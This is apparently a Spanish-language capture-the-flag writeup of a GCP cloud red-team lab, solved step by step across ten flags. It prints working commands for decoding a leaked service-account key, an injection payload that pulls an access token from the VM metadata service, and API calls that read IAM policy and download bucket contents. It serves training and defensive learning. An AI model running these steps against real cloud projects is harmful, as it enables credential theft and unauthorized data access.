← Writeups

GCP Cloud Red Teaming Writeup

Módulo 3 — GCP Cloud Red Teaming Writeup

Laboratorio: CWL Meta Tech — Multi-Cloud Red Team Assessment Plataforma: CyberWarFare Labs Objetivo: Identificar y explotar misconfiguraciones en la infraestructura GCP de CWL Meta Tech Corporation.


Flag 1 — GitHub Repository con leaked Service Account Key

OSINT en GitHub

Buscamos en GitHub usando la keyword cwl-metatech:

https://github.com/cwl-metatech/production-data

El repositorio production-data contiene un archivo pipeline.yml con una CI/CD pipeline que expone una variable ENCRYPTED_GCP_KEY en base64.

Flag 1: https://github.com/cwl-metatech/production-data


Flag 2 — Project ID

Decodificamos la key base64 del pipeline:

curl -s "https://raw.githubusercontent.com/cwl-metatech/production-data/main/pipeline.yml" \
  | grep -oP '(?<=ENCRYPTED_GCP_KEY=")[^"]+' \
  | base64 -d | python3 -m json.tool
{
    "type": "service_account",
    "project_id": "mcrta-exam",
    "client_email": "dev-service-account@mcrta-exam.iam.gserviceaccount.com"
}

Flag 2: mcrta-exam


Flag 3 — Compute Instance Name

Instalamos gcloud SDK y autenticamos con la service account key. Primero reemplazamos los \n literales por saltos de línea reales en la clave privada:

curl -s "https://raw.githubusercontent.com/cwl-metatech/production-data/main/pipeline.yml" \
  | grep -oP '(?<=ENCRYPTED_GCP_KEY=")[^"]+' | base64 -d \
  | python3 -c "
import sys, json
raw = sys.stdin.read()
data = json.loads(raw)
data['private_key'] = data['private_key'].replace('\\\\n', '\n')
print(json.dumps(data, indent=2))
" > /tmp/dev-sa-key.json

gcloud auth activate-service-account --key-file=/tmp/dev-sa-key.json
gcloud config set project mcrta-exam

Listamos las instancias compute:

gcloud compute instances list --project mcrta-exam
NAME           ZONE           MACHINE_TYPE   EXTERNAL_IP   STATUS
stag-instance  us-central1-b  n1-standard-1  34.27.221.40  RUNNING

Flag 3: stag-instance


Flag 4 — Service Account de la VM

gcloud compute instances describe stag-instance \
  --zone us-central1-b --project mcrta-exam \
  --format="get(serviceAccounts)"
{'email': 'vm-service-account@mcrta-exam.iam.gserviceaccount.com', 'scopes': [...]}

Flag 4: vm-service-account@mcrta-exam.iam.gserviceaccount.com


Flag 5 — Role de VM Service Account a nivel Project

La dev service account no tiene permisos para leer IAM del projecto directamente. Pero la VM ejecuta la misma app web vulnerable (process.php con SSRF).

GCP metadata requiere el header Metadata-Flavor: Google:

curl -s -X POST "http://34.27.221.40/process.php" \
  -d "url=x&date=2024-01-01&ip=x" \
  --data-urlencode 'organization=curl -s -H "Metadata-Flavor:Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"'

Obtenemos el access_token de la VM. Luego consultamos la IAM policy del proyecto:

curl -s -H "Authorization: Bearer $VM_TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects/mcrta-exam:getIamPolicy" \
  -X POST -H "Content-Type: application/json" -d "{}" | python3 -m json.tool
{
    "bindings": [
        {
            "role": "roles/reader",
            "members": [
                "serviceAccount:vm-service-account@mcrta-exam.iam.gserviceaccount.com"
            ]
        },
        {
            "role": "projects/mcrta-exam/roles/VMReadgek",
            "members": [
                "serviceAccount:dev-service-account@mcrta-exam.iam.gserviceaccount.com"
            ]
        }
    ]
}

Flag 5: roles/reader


Flag 6 — Service Account con VMRead* Custom Role

Del mismo IAM policy anterior:

"role": "projects/mcrta-exam/roles/VMReadgek",
"members": ["serviceAccount:dev-service-account@mcrta-exam.iam.gserviceaccount.com"]

Flag 6: dev-service-account@mcrta-exam.iam.gserviceaccount.com


Flag 7 — Permiso en VMRead* Custom Role

Obtenemos la definición del rol personalizado:

curl -s -H "Authorization: Bearer $VM_TOKEN" \
  "https://iam.googleapis.com/v1/projects/mcrta-exam/roles/VMReadgek" | python3 -m json.tool
{
    "name": "projects/mcrta-exam/roles/VMReadgek",
    "includedPermissions": ["compute.instances.list"]
}

Flag 7: compute.instances.list


Flag 8 — Permiso de dev-service-account a nivel VM

Usamos la dev service account para consultar la IAM policy de la instancia:

gcloud compute instances get-iam-policy stag-instance \
  --zone us-central1-b --project mcrta-exam
bindings:
- members:
  - serviceAccount:dev-service-account@mcrta-exam.iam.gserviceaccount.com
  role: roles/reader

Flag 8: roles/reader


Flag 9 — Cloud Storage Bucket

Con el token de la VM, listamos los buckets:

curl -s -H "Authorization: Bearer $VM_TOKEN" \
  "https://storage.googleapis.com/storage/v1/b?project=mcrta-exam" \
  | python3 -m json.tool | grep '"name"'
"name": "stag-storage-metatech-prod11"

Flag 9: stag-storage-metatech-prod11


Flag 10 — License Key

Listamos los objetos dentro del bucket:

curl -s -H "Authorization: Bearer $VM_TOKEN" \
  "https://storage.googleapis.com/storage/v1/b/stag-storage-metatech-prod11/o" \
  | python3 -c "
import sys, json
for o in json.load(sys.stdin).get('items', []): print(o['name'])
"
license-key.txt

Leemos el archivo:

curl -s -H "Authorization: Bearer $VM_TOKEN" \
  "https://storage.googleapis.com/storage/v1/b/stag-storage-metatech-prod11/o/license-key.txt?alt=media"
V13JG-NPH5M-S97JM-9MPGT-3S66T

Flag 10: V13JG-NPH5M-S97JM-9MPGT-3S66T


Resumen de Flags

# Pregunta Respuesta
1 GitHub repo con leaked key https://github.com/cwl-metatech/production-data
2 Project ID mcrta-exam
3 Compute instance name stag-instance
4 SA email del instance vm-service-account@mcrta-exam.iam.gserviceaccount.com
5 Role de VM SA a nivel project roles/reader
6 SA con VMReadgek custom role dev-service-account@mcrta-exam.iam.gserviceaccount.com
7 Permiso en VMReadgek compute.instances.list
8 Permiso de dev SA a nivel VM roles/reader
9 Nombre del storage bucket stag-storage-metatech-prod11
10 License key V13JG-NPH5M-S97JM-9MPGT-3S66T

Lecciones Aprendidas

  1. GitHub OSINT: Las claves de service account filtradas en repositorios públicos son un vector de ataque crítico. La key estaba en base64 en un pipeline.yml.
  2. Supply chain attack: El repositorio production-data contenía una clave de GCP con permisos limitados pero suficientes para identificar la infraestructura.
  3. GCP IMDS requiere header específico: Metadata-Flavor: Google — a diferencia de AWS (sin header) y Azure (Metadata: true).
  4. Pivoting con SSRF: La VM ejecutaba la misma aplicación web vulnerable. Al explotar el SSRF contra GCP metadata se obtuvo un token con más privilegios que la service account original.
  5. Cloud Resource Manager API: Permite leer la política IAM completa del proyecto con el token adecuado.
  6. GCS con token de VM: El token de la VM tenía acceso a Storage, lo que permitió listar buckets y leer el archivo license-key.txt.